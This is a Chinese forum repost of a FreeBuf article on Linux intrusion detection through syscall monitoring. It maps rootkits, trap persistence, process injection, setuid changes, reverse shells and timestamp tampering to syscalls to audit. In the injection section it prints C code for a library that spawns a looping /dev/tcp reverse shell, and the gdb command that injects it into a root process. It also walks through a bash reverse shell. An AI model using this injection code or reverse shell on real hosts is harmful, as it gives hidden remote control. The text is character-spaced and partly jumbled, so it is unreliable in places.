搜索

[15615] 2020-07-17_入侵检测之syscall监控

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-07-17_入侵检测之syscall监控 入 侵 检 测 之 s y s c a l l 监 控 罹 ♛ 殇   F r e e B u f   2 0 2 0 - 0 7 - 1 7 《 L i n u x 入 侵 检 测 》 系 列 文 章 目 录 ： 1 企 业 安 全 建 设 之 H I D S - 设 计 篇 2 入 侵 检 测 技 术 建 设 及 其 在 场 景 下 的 运 用 3 A T T & C K 矩 阵 l i n u x 系 统 实 践 / 命 令 监 控 4 L i n u x 入 侵 检 测 之 文 件 监 控 5 L i n u x 入 侵 检 测 之 s y s c a l l 监 控 6 l i n u x 入 侵 检 测 之 应 急 响 应 0 x 0 1 : S y s c a l l 简 介 简 介 内 核 提 供 用 户 空 间 程 序 与 内 核 空 间 进 行 交 互 的 一 套 标 准 接 口 ， 这 些 接 口 让 用 户 态 程 序 能 受 限 访 问 硬 件 设 备 ， 比 如 申 请 系 统 资 源 ， 操 作 设 备 读 写 ， 创 建 新 进 程 等 。 用 户 空 间 发 生 请 求 ， 内 核 空 间 负 责 执 行 ， 这 些 接 口 便 是 用 户 空 间 和 内 核 空 间 共 同 识 别 的 桥 梁 ， 这 里 提 到 两 个 字 “ 受 限 ” ， 是 由 于 为 了 保 证 内 核 稳 定 性 ， 而 不 能 让 用 户 空 间 程 序 随 意 更 改 系 统 ， 必 须 是 内 核 对 外 开 放 的 且 满 足 权 限 的 程 序 才 能 调 用 相 应 接 口 。 在 用 户 空 间 和 内 核 空 间 之 间 ， 有 一 个 叫 做 S y s c a l l ( 系 统 调 用 ,   s y s t e m   c a l l ) 的 中 间 层 ， 是 连 接 用 户 态 和 内 核 态 的 桥 梁 。 这 样 即 提 高 了 内 核 的 安 全 型 ， 也 便 于 移 植 ， 只 需 实 现 同 一 套 接 口 即 可 。 L i n u x 系 统 ， 用 户 空 间 通 过 向 内 核 空 间 发 出 S y s c a l l ， 产 生 软 中 断 ， 从 而 让 程 序 陷 入 内 核 态 ， 执 行 相 应 的 操 作 。 对 于 每 个 系 统 调 用 都 会 有 一 个 对 应 的 系 统 调 用 号 ， 比 很 多 操 作 系 统 要 少 很 多 。 l i n u x 系 统 调 用 表 ( s y s t e m   c a l l   t a b l e ) l i n u x 系 统 调 用 是 通 过 中 断 实 现 的 ， 软 中 断 指 令 i n t 发 起 中 断 信 号 。 系 统 调 用 前 ， l i n u x 在 e a x 寄 存 器 中 写 入 子 功 能 号 ， 中 断 处 理 程 序 根 据 e a x 寄 存 器 的 值 来 判 断 用 户 进 程 申 请 哪 种 系 统 调 用 。 操 作 系 统 中 断 处 理 流 程 ：     其 系 统 调 用 执 行 流 程 如 下 ： 根 据 其 功 能 将 其 主 要 分 为 3 大 类 ：
( 1 ) 进 程 控 制 类 f o r k 创 建 一 个 子 进 程 c l o n e     按 照 指 定 条 件 创 建 子 进 程 e x e c v e   运 行 可 执 行 文 件 … ( 2 ) 文 件 控 制 操 作 f c n t l   文 件 控 制 o p e n   打 开 文 件 r e a d   读 文 件 … ( 3 ) 系 统 控 制 i o c t l   I / O 总 控 制 函 数 r e b o o t 重 新 启 动 — s y s c t l 读 写 系 统 参 数 t r a p 命 令 允 许 程 序 指 定 将 在 接 收 到 中 断 信 号 后 执 行 的 命 令 。 常 见 的 情 况 是 脚 本 允 许 正 常 终 止 和 处 理 常 见 的 键 盘 中 断 （ 例 如 c t r l   +   c 和 c t r l +   d ） ， 实 际 上 系 统 发 送 了 S I G I N T 信 号 给 脚 本 进 程 ， S I G I N T 信 号 的 默 认 处 理 方 式 就 是 退 出 程 序 。 如 果 要 在 C t r l + C 不 退 出 程 序 ， 那 么 就 得 使 用 t r a p 命 令 来 指 定 一 下 S I G I N T 的 处 理 方 式 了 ， t r a p 命 令 不 仅 仅 处 理 L i n u x 信 号 ， 还 能 对 脚 本 退 出 （ E X I T ） 、 调 试 （ D E B U G ） 、 错 误 （ E R R ） 、 返 回 （ R E T U R N ） 等 情 况 指 定 处 理 方 式 。 。 当 遇 到 特 定 中 断 以 获 取 执 行 或 作 为 持 久 性 机 制 时 ， 可 以 使 用 它 来 注 册 要 执 行 的 代 码 。 陷 阱 命 令 具 有 以 下 格 式 的 陷 阱 “ 命 令 列 表 ” 信 号 ， 其 中 在 收 到 “ 信 号 ” 时 将 执 行 “ 命 令 列 表 ” 。 0 x 0 2 : 主 机 主 机 s y s c a l l 信 息 采 集 信 息 采 集 以 获 取 进 程 创 建 为 例 ， 目 前 来 看 ， 常 见 的 获 取 进 程 创 建 的 信 息 的 方 式 有 以 下 四 种 ： S o   p r e l o a d N e t l i n k C o n n e c t o r   A u d i t S y s c a l l   h o o k 详 情 请 参 考 ： L i n u x   入 侵 检 测 中 的 进 程 创 建 监 控 本 人 采 用 了 最 经 典 的 a u d i t ， 主 要 是 为 了 获 取 数 据 a u d i t 主 要 分 三 个 模 块 ： a u d i t d   管 理 审 计 规 则 、 自 定 义 a u d i t d 规 则 s y s t e m 1 . 通 过 用 户 态 的 管 理 进 程 配 置 规 则 ， 并 通 过   N e t l i n k   套 接 字 通 知 给 内 核 2 . 内 核 中 的   k a u d i t d   通 过   N e t l i n k   获 取 到 规 则 并 加 载 3 . 应 用 程 序 在 调 用 系 统 调 用 和 系 统 调 用 返 回 时 都 会 经 过   a u d i t d 4 . a u d i t d   会 将 这 些 事 件 记 录 下 来 并 通 过
f i l e _ i n t e g r i t y 实 时 监 控 指 定 文 件 系 统 变 化 、 报 告 文 件 元 数 据 与 哈 希 、 为 文 件 建 立 、 移 动 、 删 除 、 更 新 和 属 性 修 改 生 成 事 件   可 以 实 现 审 计 监 控 的 场 景 1 . 监 控 文 件 访 问 （ 识 别 可 疑 篡 改 、 文 件 权 限 更 新 ） 2 . 监 控 系 统 调 用 （ 二 进 制 文 件 或 共 享 库 调 用 ）   3 . 记 录 用 户 命 令 执 行 （ 危 险 命 令 执 行 、 审 计 ） 4 . 记 录 安 全 事 件 5 . 执 行 审 计 搜 索 6 . 统 计 概 要 报 表 7 . 监 控 网 络 访 问 （ 恶 意 外 联 ） 如 果 只 是 对 数 据 进 行 采 集 ， 首 先 数 据 量 多 大 ， 无 用 数 据 过 多 ， 仍 然 从 安 全 的 角 度 考 虑 ， 针 对 性 的 采 集 0 x 0 3 : 权 限 维 持 之 权 限 维 持 之 s y s c a l l 监 控 监 控 可 加 载 内 核 模 块 （ 或 L K M ） 是 可 以 按 需 加 载 和 卸 载 到 内 核 中 的 代 码 段 。 它 们 扩 展 了 内 核 的 功 能 ， 而 无 需 重 新 启 动 系 统 ，   当 恶 意 使 用 时 ， 可 加 载 内 核 模 块 （ L K M ） 可 以 是 一 种 以 最 高 操 作 系 统 特 权 （ R i n g   0 ） 运 行 的 内 核 模 式 R o o t k i t 。 攻 击 者 可 以 使 用 可 加 载 的 内 核 模 块 秘 密 地 保 留 在 系 统 上 并 逃 避 防 御 。 基 于 L K M 的 r o o t k i t 的 常 见 功 能 包 括 ： 隐 藏 自 身 ， 有 选 择 地 隐 藏 文 件 ， 进 程 和 网 络 活 动 以 及 日 志 篡 改 ， 提 供 经 过 身 份 验 证 的 后 门 并 允 许 对 非 特 权 用 户 的 r o o t 访 问 。 # i n c l u d e   < l i n u x / k e r n e l . h > # i n c l u d e < l i n u x / m o d u l e . h > # i n c l u d e < l i n u x / i n i t . h > M O D U L E _ L I C E N S E ( " G P L " ) ; s t a t i c   i n t   h e l l o _ i n i t ( v o i d ) { p r i n t k ( K E R N _ W A R N I N G   " H E L L O W O R L D " ) ; r e t u r n   0 ; } s t a t i c   v o i d   h e l l o _ e x i t ( v o i d ) { p r i n t k ( " B Y E " ) ; } m o d u l e _ i n i t ( h e l l o _ i n i t ) ;
编 译 完 成 之 后 能 够 看 到 模 块 文 件 ： l s m o d 查 看 模 块 是 否 加 载 ： 对 于 内 核 模 块 的 函 数 ： i n i t _ m o d u l e （ ） 将 E L F 映 像 加 载 到 内 核 空 间 ， 执 行 任 何 必 要 的 符 号 重 定 位 ， 将 模 块 参 数 初 始 化 为 值 由 调 用 者 提 供 ， 然 后 运 行 模 块 的 i n i t 函 数 。 i n t   i n i t _ m o d u l e ( v o i d   m o d u l e _ k n o w l e d g e / i m g ,   u n s i g n e d   l o n g   l e n , c o n s t   c h a r   p a r a m _ v a l u e s ) ; C o p y   t o   c l i p b o a r d E r r o r C o p i e d f i n i t _ m o d u l e f i n i t _ m o d u l e （ ） 系 统 调 用 的 是 i n i t _ m o d u l e （ ） ， 但 读 取 待 从 文 件 描 述 符 加 载 模 块 的 f d 。 当 可 以 根 据 内 核 模 块 在 文 件 系 统 中 的 位 置 确 定 其 真 实 性 时 i n t   f i n i t _ m o d u l e ( i n t   f d ,   c o n s t   c h a r   * p a r a m _ v a l u e s , i n t   f l a g s ) ; C o p y   t o   c l i p b o a r d E r r o r C o p i e d d e l e t e _ m o d u l e - 卸 载 内 核 模 块 d e l e t e _ m o d u l e （ ） 系 统 调 用 试 图 消 除 查 明 的 未 使 用 的 可 加 载 模 块 的 条 目 名 称 。 如 果 模 块 具 有 退 出 功 能 ， 则 在 卸 载 模 块 之 前 执 行 该 功 能 。 的 标 志 参 数 用 于 修 改 系 统 调 用 的 行 为 ， 如 下 面 所 述 。 此 系 统 调 用 需 要 特 权 。 i n t   d e l e t e _ m o d u l e ( c o n s t   c h a r   * n a m e ,   i n t   f l a g s ) ; 对 于 企 业 的 防 护 ， 对 应 用 程 序 白 名 单 和 软 件 限 制 工 具 （ 例 如 S E L i n u x ） 限 制 内 核 模 块 的 加 载 或 者 限 制 对 r o o t 帐 户 的 访 问 ， 并 通 过 适 当 的 特 权 分 离 和 限 制 特 权 升 级 机 会 来 防 止 用 户 加 载 内 核 模 块 和 扩 展 。 在 检 测 层 ， 包 括 在 应 急 中 ， 用 于 检 测 L i n u x   r o o t k i t 的 常 见 工 具 包 括 ： r k h u n t e r ， c h r o o t k i t ， 针 对 该 攻 击 ， 检 测 f i n i t _ m o d u l e 、 i n i t _ m o d u l e 、 d e l e t e _ m o d u l e 的 调 用 0 x 0 4 : 持 久 化 之 持 久 化 之 s y s c a l l 监 控 监 控 t r a p 命 令 允 许 程 序 指 定 将 在 接 收 到 中 断 信 号 后 执 行 的 命 令 。 常 见 的 情 况 是 脚 本 允 许 正 常 终 止 和 处 理 常 见 的 键 盘 中 断 （ 例 如 c t r l   +   c 和 c t r l +   d ） ， 实 际 上 系 统 发 送 了 S I G I N T 信 号 给 脚 本 进 程 ， S I G I N T 信 号 的 默 认 处 理 方 式 就 是 退 出 程 序 。 如 果 要 在 C t r l + C 不 退 出 程 序 ， 那 么 就 得 使 用 t r a p 命 令 来 指 定 一 下 S I G I N T 的 处 理 方 式 了 ， t r a p 命 令 不 仅 仅 处 理 L i n u x 信 号 ， 还 能 对 脚 本 退 出 （ E X I T ） 、 调 试 （ D E B U G ） 、 错 误 （ E R R ） 、 返 回 （ R E T U R N ） 等 情 况 指 定 处 理 方 式 。 。 当 遇 到 特 定 中 断 以 获 取 执 行 或 作 为 持 久 性 机 制 时 ， 可 以 使 用 它 来 注 册 要 执 行 的 代 码 。 陷 阱 命 令 具 有 以 下 格 式 的 陷 阱 “ 命 令 列 表 ” 信 号 ， 其 中 在 收 到 “ 信 号 ” 时 将 执 行 “ 命 令 列 表 ” 。 信 号 的 主 要 用 途 ： 1 . 使 一 个 进 程 意 识 到 一 个 特 殊 事 件 发 生 了 ( 不 同 的 事 件 用 不 同 的 s i g n a l 标 识 ) 2 . 并 使 目 标 进 程 进 行 相 应 处 理 ( e g :   执 行 的 信 号 处 理 函 数 , s i g n a l   h a n d l e r ) . 相 应 的 处 理 也 可 以 是 忽 略 它 . 与 信 号 有 关 的 数 据 结 构 m o d u l e _ e x i t ( h e l l o _ e x i t ) ;
t r a p 命 令 必 须 为 外 壳 程 序 （ s h e l l 解 释 器 ） 或 程 序 注 册 ， 因 此 会 出 现 在 文 件 中 。 监 视 文 件 中 的 可 疑 或 过 于 广 泛 的 t r a p 命 令 可 以 缩 小 调 查 过 程 中 的 可 疑 行 为 。 监 视 通 过 t r a p 中 断 执 行 的 可 疑 进 程 。 监 控 的 参 考 s y s c a l l k i l l , t k i l l , t g k i l l , r t _ s i g a c t i o n , r t _ s i g p e n d i n g , r t _ s i g p r o c m a s k , r t _ s i g q u e u e i n f o , r t _ s i g s u s p e n d , r t _ s i g t i m e d w a i t , s i g n a l f d , s i g n a l f d 4 , r t _ s i g r e t u r n , s i g a l t s t a c k 0 x 0 5 : 权 限 提 升 之 权 限 提 升 之 s y s c a l l 进 程 注 入 是 一 种 在 单 独 的 活 动 进 程 的 地 址 空 间 中 执 行 任 意 代 码 的 方 法 。 在 另 一 个 进 程 的 上 下 文 中 运 行 代 码 可 能 会 允 许 访 问 该 进 程 的 内 存 ， 系 统 / 网 络 资 源 以 及 可 能 的 特 权 提 升 。 由 于 执 行 被 合 法 程 序 掩 盖 了 ， 因 此 通 过 进 程 注 入 执 行 还 可 以 避 开 安 全 产 品 的 检 测 。 # ! / b i n / s h #   杀 掉 L A S T _ P I D 功 能 #   脚 本 退 出 时 杀 掉 T H I S _ P I D 功 能 L A S T _ P I D = $ ( p s   - e f | g r e p   ' j a v a . * Z h e n j i a n g ' | g r e p   - v   g r e p | a w k   ' { p r i n t   $ 2 } ' ) e c h o   " L A S T _ P I D = $ L A S T _ P I D " i f   [   - n   " $ L A S T _ P I D "   ]   & &     [   " $ L A S T _ P I D "   - g t   0   ] ;   t h e n         e c h o   " L A S T   P R O C E S S   N O T   E X I T ,   N O W   K I L L   I T ! "         k i l l   $ L A S T _ P I D         s l e e p   1 f i i f   !   c d   . . / o p t / z h e n j i a n g ;   t h e n         e c h o   " C H A N G E   D I R E C T O R Y   F A I L E D "         e x i t   1 f i j a v a   - c l a s s p a t h   . : . / c p i n t e r f a c e a p i . j a r : . / l o g 4 j - 1 . 2 . 1 4 . j a r : . / h y j c . j a r : . / s m j . c l i e n t . j a r   Z h e n j i a n g   & T H I S _ P I D = $ ! e c h o   " T H I S _ P I D = $ T H I S _ P I D " t r a p   " k i l l   $ T H I S _ P I D "   T E R M w a i t
1 .   L D _ P R E L O A D ， L D _ L I B R A R Y _ P A T H （ L i n u x ） 环 境 变 量 或 d l f c n 应 用 程 序 编 程 接 口 （ A P I ） 可 用 于 在 过 程 中 动 态 加 载 库 （ 共 享 库 ） ， 该 过 程 可 用 于 拦 截 来 自 运 行 过 程 。 2 .   P t r a c e 系 统 调 用 可 用 于 附 加 到 正 在 运 行 的 进 程 并 在 运 行 时 对 其 进 行 修 改 3 .   V D S O 劫 持 通 过 操 纵 从 l i n u x - v d s o . s o 共 享 库 映 射 的 代 码 存 根 ， 对 E L F 二 进 制 文 件 执 行 运 行 时 注 入 。 T E S   恶 意 软 件 通 常 利 用 进 程 注 入 来 访 问 系 统 资 源 ， 从 而 可 以 对 持 久 性 和 其 他 环 境 进 行 修 改 。 使 用 命 名 管 道 或 其 他 进 程 间 通 信 （ I P C ） 机 制 作 为 通 信 通 道 ， 更 复 杂 的 样 本 可 以 执 行 多 个 过 程 注 入 以 分 割 模 块 并 进 一 步 逃 避 检 测 。 要 注 入 的 代 码 c a l l b a c k . c ： 编 译 成 动 态 链 接 库 ： c c   - O 2   - f P I C   - o   l i b c a l l b a c k . s o   . / c a l l b a c k . c   - l p t h r e a d   - s h a r e d # i n c l u d e   < p t h r e a d . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < u n i s t d . h > # d e f i n e   S L E E P     1 2 0                                         / *   T i m e   t o   s l e e p   b e t w e e n   c a l l b a c k s   * / # d e f i n e   C B A D D R   " 1 2 7 . 0 . 0 . 1 "                       / *   C a l l b a c k   a d d r e s s   * / # d e f i n e   C B P O R T   " 4 4 4 4 "                                   / *   C a l l b a c k   p o r t   * / / *   R e v e r s e   s h e l l   c o m m a n d   * / # d e f i n e   C M D   " e c h o   ' e x e c   > & / d e v / t c p / "                         C B A D D R   " / "   C B P O R T   " ;   e x e c   0 > & 1 '   |   / b i n / b a s h "   / / 进 行 反 向 s h e l l v o i d   * c a l l b a c k ( v o i d   * a ) ; _ _ a t t r i b u t e _ _ ( ( c o n s t r u c t o r ) )   / *   R u n   t h i s   f u n c t i o n   o n   l i b r a r y   l o a d   * / / /   在 动 态 库 加 载 之 后 运 行 该 函 数 v o i d   s t a r t _ c a l l b a c k s ( ) {                 p t h r e a d _ t   t i d ;                 p t h r e a d _ a t t r _ t   a t t r ;                 / *   S t a r t   t h r e a d   d e t a c h e d   * /                 i f   ( - 1   = =   p t h r e a d _ a t t r _ i n i t ( & a t t r ) )   {                                 r e t u r n ;                 }                 i f   ( - 1   = =   p t h r e a d _ a t t r _ s e t d e t a c h s t a t e ( & a t t r ,                                                                 P T H R E A D _ C R E A T E _ D E T A C H E D ) )   {                                 r e t u r n ;                 }                 / *   S p a w n   a   t h r e a d   t o   d o   t h e   r e a l   w o r k   * /                 p t h r e a d _ c r e a t e ( & t i d ,   & a t t r ,   c a l l b a c k ,   N U L L ) ;   / / 创 建 线 程 } v o i d   * c a l l b a c k ( v o i d   * a ) {                 f o r   ( ; ; )   {                                 / *   T r y   t o   s p a w n   a   r e v e r s e   s h e l l   * /                                 s y s t e m ( C M D ) ;                                 / *   W a i t   u n t i l   n e x t   s h e l l   * /                                 s l e e p ( S L E E P ) ;                 }                 r e t u r n   N U L L ; }
切 换 到 r o o t 用 户 ， 列 出 r o o t 用 户 进 程   p s   - f x o   p i d , u s e r , a r g s   |   e g r e p   - v   ‘   [ S + ] $ ’ 选 择 想 要 注 入 的 进 程 p i d ， 使 用 g d b 进 行 注 入 ， 这 里 选 择 p i d s 值 较 低 的 ， 因 为 值 越 低 代 表 运 行 的 时 间 越 早 ， 选 择 长 期 运 行 的 进 程 ， 因 为 这 些 进 程 不 容 易 被 k i l l 。 e c h o   ‘ p r i n t   _ _ l i b c _ d l o p e n _ m o d e ( “ / r o o t / l i b c a l l b a c k . s o ” ,   2 ) ’   |   g d b   - p   p i d 用 g d b 打 开 进 程 ， 并 且 用 _ _ l i b c _ d l o p e n _ m o d e 打 开 要 注 入 的 动 态 链 接 库 。 使 用 G D B 的 p r i n t 命 令 ， 以 方 便 取 函 数 的 返 回 值 。 将 它 回 显 到 G D B 的 标 准 输 入 中 ， 它 会 引 起 G D B 退 出 ， 就 省 得 使 用 q u i t 命 令 了 。 开 启 另 外 的 终 端 ， 监 听 本 地 的 4 4 4 4 端 口 反 向 跟 踪 ， 可 以 看 到 调 用 的 s y s c a l l 为 p t r a c e 0 x 0 6 : 持 久 化 之 文 件 属 性 持 久 化 之 文 件 属 性 s y s c a l l 监 控 监 控 在 权 限 提 升 和 持 久 化 中 ， 设 置 s e t u i d 或 s e t g i d 位 ， 使 应 用 程 序 将 分 别 以 拥 有 用 户 或 组 的 特 权 运 行 ， 以 确 保 他 们 将 来 能 够 在 提 升 的 环 境 中 执 行 ， 也 是 常 见 的 操 作 ， 可 以 使 用 c h m o d 实 现 。 # i n c l u d e # i n c l u d e   < s y s / t y p e s . h > # i n c l u d e   < s y s / s t a t . h > i n t   m a i n ( i n t   a r g c ,   c h a r   * a r g v [ ] ) { i f   (   a r g c   ! =   2   )   { p r i n t f ( " U s a g e :   % s   f i l e n a m e n " ,   a r g v [ 0 ] ) ; r e t u r n   ( 1 ) ; } i f   ( c h m o d ( a r g v [ 1 ] ,   S _ I S U I D   |   S _ I R U S R   |   S _ I R G R P   |   S _ I R O T H   |   S _ I X O T H )   <   0 )   { p e r r o r ( " C a n n o t   m o d i f y   t h e   P e r m i s s i o n   o f   t h e   f i l e " ) ; r e t u r n   ( 1 ) ; }       r e t u r n   ( 0 ) ; }
对 应 的 监 控 函 数 为 ： c h m o d ,   f c h m o d ,   f c h m o d a t c h m o d f c h m o d a t   等 0 x 0 7 : 网 络 管 理 反 弹 网 络 管 理 反 弹 s h e l l 之 之 s y s c a l l 监 控 监 控 反 弹 s h e l l ， 攻 击 者 在 控 制 端 执 行 t c p / u d p 监 听 ， 并 通 过 s o c k e t 传 递 给 攻 击 端 的 控 制 端 。 其 主 要 原 理 为 将 标 准 输 入 以 及 标 准 输 出 是 否 指 向 一 个 s o c k e t 或 p i p e 以 最 简 单 的 b a s h 反 弹 为 例 ： L i n u x   b a s h 是 从 左 向 右 读 取 这 条 命 令 的 ， 首 先 系 统 会 创 建 b a s h   - i 子 进 程 ， 并 分 配 文 件 描 述 符 ： 当 解 析 到   > &   / d e v / t c p / 1 0 . 0 . 0 . 1 / 4 4 4 4   标 准 输 出 与 标 准 错 误 重 定 向 符 时 ， 文 件 描 述 符 的 指 向 变 更 为 ：
当 解 析 到 0 > & 1 ， 标 准 输 入 复 制 到 标 准 输 出 时 ， 文 件 描 述 符 的 指 向 变 更 为 ： 文 件 输 入 描 述 符 以 及 文 件 输 出 描 述 符 皆 需 要 重 定 向 到 s o c k e t 通 道 文 件 输 入 描 述 符 以 及 文 件 输 出 描 述 符 皆 需 要 重 定 向 到 p i p e
从 攻 击 的 角 度 可 以 总 结 出 ， 对 进 程 ， 监 控 其 标 准 输 入 以 及 标 准 输 出 是 否 指 向 一 个 s o c k e t 或 p i p e ， 更   加 需 要 关 注 的 为 具 有 可 执 行 环 境 的 文 件 ， 如 b a s h 、 p e r l 、 p y t h o n 等 对 应 的 s y s c a l l 为 s o c k e t c a l l 0 x 0 8 : 命 令 执 行 之 命 令 执 行 之 s y s c a l l 监 控 监 控 s n o o p y 轻 量 级 的 l i b 库 ， 用 来 记 录 系 统 中 所 有 执 行 过 的 命 令 以 及 参 数 ， 实 际 使 用 场 景 中 结 合 s n o o p y 和 r s y s l o g 收 集 所 有 主 机 的 历 史 执 行 命 令 ， s n o o p y   即 是 通 过   p r e l o a d   的 方 式 在 程 序 进 行   e x e c v ( )   和   e x e c v e ( )   系 统 调 用 的 时 候 记 录 下 所 有 需 要 的 信 息 ， a u d i t 同 s n o o p y ， 通 过 监 控 e x e c v e 系 统 调 用 ， 同 样 实 现 用 户 的 操 纵 记 录 ， 大 部 分 检 测 通 过 检 测 非 R O O T 用 户 执 行 的 命 令 以 及 进 行 威 胁 建 模 。 对 应 的 s y s c a l l 为 e x e c v e ， 对 应 的 命 令 监 控 内 容 可 以 参 考 系 列 中 的 另 外 一 篇 ： A T T & C K 矩 阵 l i n u x 系 统 实 践 / 命 令 监 控 0 x 0 9 : 隐 藏 痕 迹 之 系 统 设 置 之 隐 藏 痕 迹 之 系 统 设 置 之 s y s c a l l 监 控 监 控 t o u c h 命 令 用 于 修 改 文 件 或 者 目 录 的 时 间 属 性 ， 包 括 存 取 时 间 和 更 改 时 间 。 反 向 跟 踪 隐 藏 痕 迹 中 的 修 改 的 时 间 戳 其 对 应 的 参 考 s y s c a l l 为 s e t t i m e o f d a y 、 c l o c k _ s e t t i m e   、 a d j t i m e x 等 0 x 1 0 : s y s c a l l 监 控 小 结 监 控 小 结 下 表 中 根 据 分 类 总 结 列 举 了 部 分 常 用 的 s y s c a l l ， 无 疑 监 控 s y s c a l l 带 来 的 数 据 量 是 非 常 庞 大 的 ， 以 及 对 服 务 器 的 性 能 消 耗 也 需 要 考 虑 ， 本 文 从 攻 击 者 角 度 考 虑 ， 采 集 攻 击 打 点 信 息 ， 只 采 集 关 注 的 数 据 ， 因 文 章 篇 幅 ， 采 集 的 s y s c a l l 的 攻 击 打 点 面 未 全 面 时 刻 保 持 学 习 ， c t r l + c   和 c t r l   + v   的 内 容 也 不 一 样
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理